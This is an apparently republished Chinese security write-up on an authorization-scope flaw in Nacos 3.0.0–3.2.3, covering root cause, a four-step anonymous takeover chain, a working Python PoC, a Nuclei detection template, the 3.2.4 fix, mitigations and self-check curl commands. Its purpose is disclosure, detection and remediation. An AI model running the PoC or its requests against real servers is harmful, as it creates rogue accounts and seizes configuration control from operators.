一个漏写的注解参数,把Nacos管理面交给了匿名请求"

admin 2026-11-02 15:08:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个漏写的注解参数,把 Nacos 管理面交给了匿名请求

网络安全民工
网络安全民工

网络安全民工

2026年10月31日 20:58
天津

去阅读

一、漏洞背景

Nacos 3.0.0 到 3.2.3 存在一处鉴权作用域错配:用户、角色、权限三组管理接口在 @Secured 注解里漏写了 apiType = ApiType.ADMIN\_API,注解默认值把请求送进了“普通 API”那条链。而普通 API 的鉴权开关出厂默认关闭,管理 API 的开关出厂默认打开。两条链的默认状态正好相反,错配就变成了未授权。

项 值
漏洞类型 权限绕过 / 未授权访问
影响版本 3.0.0 ≤ Nacos ≤ 3.2.3
修复版本 3.2.4
CVSS 3.1 9.8(通告值)
利用前置 能访问 Nacos Server 端口,无需任何凭证
在野利用 未发现公开记录

缺陷链可以拆成三环,串联起来形成现成漏洞:

环节 事实 后果
注解默认值 apiType() 默认 OPEN\_API 不写就落进普通 API
过滤器分流 AuthFilter 管非 ADMIN\_API,AuthAdminFilter 只管 ADMIN\_API 两条链各有独立开关
开关默认值 nacos.core.auth.enabled=false,nacos.core.auth.admin.enabled=true 普通链关着,管理链接着

关键点在于:即使运维人员按照“最佳实践”开启了 admin 和 console 鉴权,这三个接口仍然处于无保护状态,因为它们根本不属于 ADMIN\_API 作用域。

二、漏洞原理

2.1 注解默认值决定了走哪条链

@Secured 是 Nacos 服务端做接口鉴权的入口注解,apiType 属性用来区分接口属于“管理 API”还是“开放 API”:


// auth/src/main/java/com/alibaba/nacos/auth/annotation/Secured.java

ApiType apiType() default ApiType.OPEN_API;


默认值是 OPEN\_API。一个接口只要写了 @Secured 但没显式声明 apiType,就会被当成开放接口处理。3.2.3 的 UserControllerV3.createUser 正是如此:


// 3.2.3 UserControllerV3.java:109@Secured(resource =AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX+\"users\",     action =ActionTypes.WRITE)// 没有 apiType@PostMappingpublicResultcreateUser(@RequestParamString username,@RequestParamString password)


2.2 两个过滤器读两个开关,默认值正好错开


// core/.../auth/AuthFilter.java:53       —— 处理非 ADMIN_APIreturn!ApiType.ADMIN_API.equals(secured.apiType());// core/.../auth/AuthAdminFilter.java:47  —— 只处理 ADMIN_APIreturnApiType.ADMIN_API.equals(secured.apiType());


过滤器 覆盖范围 开关 出厂默认 未认证请求结果
AuthFilter 除 ADMIN\_API 外的全部 nacos.core.auth.enabled false 直接放行
AuthAdminFilter 仅 ADMIN\_API nacos.core.auth.admin.enabled true 校验管理员身份,拒绝

三、渗透逻辑链(完整攻击路径)

漏洞的利用不是“一个请求打穿”,而是一条四步闭环:建号 → 绑角色 → 授权 → 登录接管。每一步都因为同一个注解缺陷而无需任何凭证。

步骤 0:确认目标存活与鉴权状态先访问一个标了 ADMIN\_API 的接口(如配置列表),预期返回 403。这确认了 Admin 鉴权确实在正常工作,同时也说明目标不是“全裸”的 Nacos,而是配置看似正常的实例。

步骤 1:匿名创建用户POST /nacos/v3/auth/user,参数 username 和 password。该接口的 @Secured 漏写了 apiType,落入 OPEN\_API 作用域,AuthFilter 的开关 nacos.core.auth.enabled 默认为 false,请求被 chain.doFilter 直接放行。返回 create user ok!。

步骤 2:匿名创建角色并绑定用户POST /nacos/v3/auth/role,参数 role 和 username。同样落入无鉴权链。这里有一个细节:ROLE\_ADMIN 是代码层面保留的角色,addRole 会拒绝直接创建。但攻击者不需要这个角色名——任意自定义角色名都可以,只要后续授权足够宽。

步骤 3:匿名授予通配权限POST /nacos/v3/auth/permission,参数 role、resource、action。resource=\:\:\* 覆盖所有命名空间下的所有资源,action=rw 赋予读写权限。至此,新建角色拥有了对整个 Nacos 配置面的完全访问权。

步骤 4:登录获取 token,验证接管POST /nacos/v3/auth/user/login,用步骤 1 创建的账号正常登录。返回的 token 中 globalAdmin=false,看起来不是管理员。但关键漏洞在于:AuthAdminFilter 只负责分流,进入 admin 链之后的权限判定仍然走普通的 hasPermission(),按资源模式匹配。\:\:\* 对任意资源都命中,所以 ADMIN\_API 标签的实际约束只剩下“要有一个 token”。带着这个 token 访问配置列表,返回 200。

闭环验证:用该 token 向 DEFAULT\_GROUP 发布一条配置,HTTP 200,回读内容与 md5 一致,证明写入能力完整。

接口 无凭证 持通配 token
GET /v3/auth/user/list 200,含 BCrypt 密码哈希 200
GET /v3/auth/role/list 200 200
GET /v3/auth/permission/list 200 200
POST /v3/auth/user 200 200
POST /v3/auth/role 200 200
POST /v3/auth/permission 200 200
GET /v3/admin/cs/config/list 403 200
GET /v3/console/cs/config/list 403 200

四、Python 验证 PoC

以下脚本仅用于授权测试环境,执行完整的检测与验证闭环。


Python

!/usr/bin/env python3

\"\"\"

Nacos 3.0.0-3.2.3 鉴权作用域错配 - 验证 PoC

用法: python nacos_authscope_poc.py http://target:8848

仅限授权测试。

\"\"\"

import sys

import uuid

import requests

import urllib3

urllib3.disable_warnings()

TIMEOUT = 10

def check_target(base):

\"\"\"确认目标存活,且 admin 接口确实在拦截匿名请求\"\"\"

admin_url = f\"{base}/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=1\"

try:

r = requests.get(admin_url, timeout=TIMEOUT, verify=False)

if r.status_code == 403:

print(f\"[+] Admin 接口返回 403,鉴权层正常工作中:{admin_url}\")

return True

elif r.status_code == 200:

print(f\"[!] Admin 接口返回 200,目标可能已开启 OPEN_API 鉴权或版本不在影响范围:{admin_url}\")

return False

else:

print(f\"[-] Admin 接口返回异常状态码 {r.status_code}\")

return False

except requests.RequestException as e:

print(f\"[-] 目标不可达: {e}\")

return False

def exploit(base):

\"\"\"四步利用链:建号 → 绑角色 → 授权 → 登录验证\"\"\"

uid = uuid.uuid4().hex[:8]

username = f\"poc_{uid}\"

password = f\"Poc@{uid}!\"

role = f\"poc_role_{uid}\"

# 步骤 1:匿名创建用户

r = requests.post(

f\"{base}/nacos/v3/auth/user\",

data={\"username\": username, \"password\": password},

timeout=TIMEOUT, verify=False

)

if r.status_code != 200 or \"create user ok\" not in r.text:

print(f\"[-] 步骤 1 失败:创建用户返回 {r.status_code} - {r.text[:200]}\")

return False

print(f\"[+] 步骤 1:匿名创建用户成功 -> {username}\")

# 步骤 2:匿名创建角色并绑定用户

r = requests.post(

f\"{base}/nacos/v3/auth/role\",

data={\"role\": role, \"username\": username},

timeout=TIMEOUT, verify=False

)

if r.status_code != 200 or \"add role ok\" not in r.text:

print(f\"[-] 步骤 2 失败:绑定角色返回 {r.status_code} - {r.text[:200]}\")

return False

print(f\"[+] 步骤 2:匿名绑定角色成功 -> {role}\")

# 步骤 3:匿名授予通配读写权限

r = requests.post(

f\"{base}/nacos/v3/auth/permission\",

data={\"role\": role, \"resource\": \"::*\", \"action\": \"rw\"},

timeout=TIMEOUT, verify=False

)

if r.status_code != 200 or \"add permission ok\" not in r.text:

print(f\"[-] 步骤 3 失败:授权返回 {r.status_code} - {r.text[:200]}\")

return False

print(f\"[+] 步骤 3:匿名授予通配权限成功 -> ::* rw\")

# 步骤 4:登录获取 token

r = requests.post(

f\"{base}/nacos/v3/auth/user/login\",

data={\"username\": username, \"password\": password},

timeout=TIMEOUT, verify=False

)

if r.status_code != 200:

print(f\"[-] 步骤 4 失败:登录返回 {r.status_code} - {r.text[:200]}\")

return False

try:

token = r.json().get(\"accessToken\")

except Exception:

token = None

if not token:

print(f\"[-] 步骤 4 失败:未获取到 accessToken - {r.text[:200]}\")

return False

print(f\"[+] 步骤 4:登录成功,获取 token(前 30 字符):{token[:30]}...\")

# 步骤 5:用 token 访问 ADMIN_API 验证越权

headers = {\"Authorization\": f\"Bearer {token}\"}

r = requests.get(

f\"{base}/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=1\",

headers=headers, timeout=TIMEOUT, verify=False

)

if r.status_code == 200:

print(f\"[+] 验证成功:持通配 token 访问 Admin 配置列表返回 200,权限绕过成立\")

return True

else:

print(f\"[-] 验证失败:持 token 访问 Admin 接口返回 {r.status_code}\")

return False

if name == \"main\":

if len(sys.argv) != 2:

print(f\"用法: {sys.argv[0]} http://target:8848\")

sys.exit(1)

target = sys.argv[1].rstrip(\"/\")

print(f\"[*] 目标: {target}\")

if not check_target(target):

print(\"[*] 前置检查未通过,仍尝试利用(目标可能已修复或无影响)\")

if exploit(target):

print(\"\
[!] 结论:目标存在鉴权作用域错配漏洞,可未授权接管管理面。请立即升级至 3.2.4 或开启 nacos.core.auth.enabled=true。\")

else:

print(\"\
[+] 结论:未检测到可利用的鉴权作用域错配。\")


运行方式:


python nacos_authscope_poc.py http://192.168.1.100:8848


预期输出(漏洞存在时):


[*] 目标: http://192.168.1.100:8848

[+] Admin 接口返回 403,鉴权层正常工作中:...

[+] 步骤 1:匿名创建用户成功 -> poc_a1b2c3d4

[+] 步骤 2:匿名绑定角色成功 -> poc_role_a1b2c3d4

[+] 步骤 3:匿名授予通配权限成功 -> ::* rw

[+] 步骤 4:登录成功,获取 token(前 30 字符):eyJhbGciOiJIUzM4NCJ9...

[+] 验证成功:持通配 token 访问 Admin 配置列表返回 200,权限绕过成立

[!] 结论:目标存在鉴权作用域错配漏洞,可未授权接管管理面。


说明:如果步骤 1 返回 403,说明目标要么已升级到 3.2.4,要么 nacos.core.auth.enabled 已被设为 true(OPEN\_API 鉴权开启)。此时漏洞链在第一步就被切断。

五、Nuclei 模板

保存为 CVE-nacos-authscope-misconfig.yaml(或任意文件名),使用 nuclei -t nacos-authscope.yaml -u http://target:8848 执行。


id: nacos-authscope-misconfig

info:

name: Nacos 3.0.0-3.2.3 Auth Scope Misassignment (Unauthenticated Admin Takeover)

author: security-research

severity: critical

description: |

Nacos 3.0.0 至 3.2.3 的用户/角色/权限管理接口因 @Secured 注解缺少 apiType=ADMIN_API,

落入默认关闭鉴权的 OPEN_API 作用域。攻击者可匿名创建用户、绑定角色、授予通配权限,

登录后获得管理面完全访问权。修复版本 3.2.4。

reference:

- https://github.com/alibaba/nacos/releases/tag/3.2.4

- https://github.com/TlyHj/nacos-v3-attack

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cwe-id: CWE-287

tags: nacos,auth-bypass,unauth,critical

http:

- raw:

# 步骤 0:确认 admin 接口在拦截匿名请求(预期 403)

- |

GET /nacos/v3/admin/cs/config/list?pageNo=1&pageSize=1 HTTP/1.1

Host: {{Hostname}}

# 步骤 1:匿名创建用户

- |

POST /nacos/v3/auth/user HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username=nuclei_poc_{{randstr}}&password=Nuclei%40{{randstr}}

# 步骤 2:匿名绑定角色

- |

POST /nacos/v3/auth/role HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

role=nuclei_role_{{randstr}}&username=nuclei_poc_{{randstr}}

# 步骤 3:匿名授权

- |

POST /nacos/v3/auth/permission HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

role=nuclei_role_{{randstr}}&resource=::*&action=rw

matchers-condition: and

matchers:

- type: dsl

dsl:

- \"status_code_1 == 403\"

- \"status_code_2 == 200\"

- \"status_code_3 == 200\"

- \"status_code_4 == 200\"

- \"contains(body_2, 'create user ok')\"

- \"contains(body_3, 'add role ok')\"

- \"contains(body_4, 'add permission ok')\"

condition: and

extractors:

- type: regex

name: username

part: body

regex:

- \"nuclei_poc_[a-z0-9]+\"

internal: true


模板逻辑:status\_code\_1 == 403 确认目标不是全裸 Nacos(Admin 链在工作),后续三个 200 与响应体关键词确认三个管理接口匿名可达。四个条件同时满足才判定存在漏洞。

六、修复方式

6.1 官方修复

3.2.4 的 release notes 将此项列为 BugFix:

15634 #15563 Fix authorization metadata and resource parsing across Admin, HTTP/gRPC, Prometheus, and AgentSpec APIs.

落到代码上,是给 13 处注解逐条补上 apiType:


  • action = ActionTypes.WRITE)

  • action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)


6.2 修复前后对照

请求 3.2.3 3.2.4
POST /v3/auth/user 200 create user ok! 403 access denied
POST /v3/auth/role 200 add role ok! 403
POST /v3/auth/permission 200 add permission ok! 403
GET /v3/auth/user/list 200,带密码哈希 403

两个版本对匿名请求的拒绝文案相同,差别只在拦不拦得住。

6.3 缓解与自查

升级到 3.2.4 是首选。短期不能升的:

措施 做法 代价
打开普通鉴权 nacos.core.auth.enabled=true 客户端 SDK 需带凭证,漏洞链随之失效
收敛暴露面 8848/9848/9849 只对业务网段放行 需梳理调用方
检查异常账号 查 /v3/auth/user/list 有无非预期账号 需管理员权限
检查通配权限 查 /v3/auth/permission/list 有无 \:\:\* 同上

自查命令:


未授权就能读用户列表 = 中招

curl -s -o /dev/null -w '%{http_code}\
' \

\"http://:8848/nacos/v3/auth/user/list?pageNo=1&pageSize=1&username=\"

有无残留的通配权限

curl -s -H \"Authorization: Bearer $TOKEN\" \

\"http://:8848/nacos/v3/auth/permission/list?pageNo=1&pageSize=50&role=\"


第一条返回 200 即按失陷处理:清掉非预期账号与角色,轮换配置中的密钥类数据,再升级。

保密检查工具的「便利缺位」光盘我能理解,私有格式不能理解检查与清理,该不该一体化" 网络安全文章

保密检查工具的「便利缺位」光盘我能理解,私有格式不能理解检查与清理,该不该一体化"

本文为一线视角的行业观察,指出保密检查工具用光盘启动及检查清理分离可理解,但私有格式导出绑定自家清理工具不合理。呼吁厂商开放标准格式导出、提供一体化选配,并建议甲方采购时将导出格式开放与清理是否强制绑定纳入评分项,以提升用户体验。
vivo十一月大版本要来了,升级前先想清楚这几件事" 网络安全文章

vivo十一月大版本要来了,升级前先想清楚这几件事"

本文为vivo手机系统大版本升级前的实用建议指南。核心要点包括:大版本升级与日常小补丁不同,底层改动大,升级后头几天可能出现掉电快或卡顿属正常现象。升级前务必做好数据备份并清理存储空间,建议预留10G以上余量。官方采用灰度推送策略,不建议抢头香,可等首批口碑后再升级。主力机装有工作财务类App的用户、电池健康偏低的老机型用户建议观望等待。文章提醒三个常见坑:不备份就升级、轻信必升神版标题、升级后头两天急于回退。总体建议是备份先行、不抢头香,将大版本视为体验升级而非救命稻草。
评论:0   参与:  0